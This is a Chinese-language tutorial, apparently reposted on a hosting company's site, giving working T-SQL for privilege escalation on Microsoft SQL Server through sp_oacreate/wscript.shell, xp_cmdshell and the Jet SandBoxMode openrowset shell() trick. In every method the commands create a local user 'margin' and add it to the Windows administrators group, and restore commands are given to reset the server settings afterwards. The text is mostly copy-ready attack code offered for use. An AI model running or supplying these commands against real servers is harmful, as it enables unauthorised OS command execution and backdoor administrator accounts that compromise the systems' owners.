使用sp_oacreate進行提權
--提權語句--sp_configure的作用是顯示或更改當前服務器的全局配置設置,執行成功返回0,失敗返回1
EXEC sp_configure 'show advanced options', 1;
--使前面的配置生效RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
declare @shell int
--使用sp_oacreate調用wscript.shell組件,將返回的對象存儲到@shell變量中。
exec sp_oacreate 'wscript.shell',@shell output
--使用sp_oamethod 調用@shell對象中的Run方法,執行添加用戶的命令,null是run方法的返回值,我們不需要用返回值,所以寫null.
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'
exec sp_oacreate 'wscript.shell',@shell output
--使用sp_oamethod 調用@shell對象中的Run方法,執行添加用戶的命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'
--恢復語句EXEC
sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
以上是使用sp_oacreate的提權語句,主要是用來調用OLE對象(Object Linking and Embedding的縮寫,VB中的OLE對象),利用OLE對象的run方法執行系統命令。在oacreate的官方文檔里明確指出了,如果要使用OLE對象,必須要開啟 'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;執行這條語句前要執行EXEC sp_configure 'show advanced options', 1; 官方對這句話的解釋是:show advanced options,“顯示高級選項”選項用來顯示 sp_configure 系統存儲過程高級選項。 當“顯示高級選項” 設置為 1 時,可以使用 sp_configure 列出高級選項。 默認值為 0。
使用xp_cmdshell進行提權
--提權語句
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure; --開啟CMDshell
-- master..xp_cmdshell的全寫是master.dbo.xp_cmdshell
exec master..xp_cmdshell 'net user margin margin /add';
exec master..xp_cmdshell 'net localgroup administrators margin /add';
--恢復語句EXEC
sp_configure 'show advanced options', 0;
RECONFIGURE;
使用沙盒進行提權
--提權語句
exec sp_configure 'show advanced options',1;reconfigure;
-- 不開啟的話在執行xp_regwrite會提示讓我們開啟,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--關閉沙盒模式,如果一次執行全部代碼有問題,先執行上面兩句代碼。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查詢是否正常關閉,經過測試發現沙盒模式無論是開,還是關,都不會影響我們執行下面的語句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--執行系統命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode參數含義(默認是2)
`0`:在任何所有者中禁止啟用安全模式
`1` :為僅在允許范圍內
`2` :必須在access模式下
`3`:完全開啟
openrowset是可以通過OLE DB訪問SQL Server數據庫,OLE DB是應用程序鏈接到SQL Server的的驅動程序。
--恢復配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;
SQL Server官方參考文檔
sp_configure的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-2017
sp_oacreate的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-2017
sp_oamethod的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-2017
openrowset的官方文檔:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-2017
ole db的官方文檔:https://docs.microsoft.com/zh-cn/sql/connect/oledb/ole-db/oledb-driver-for-sql-server-programming?view=sql-server-2017
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。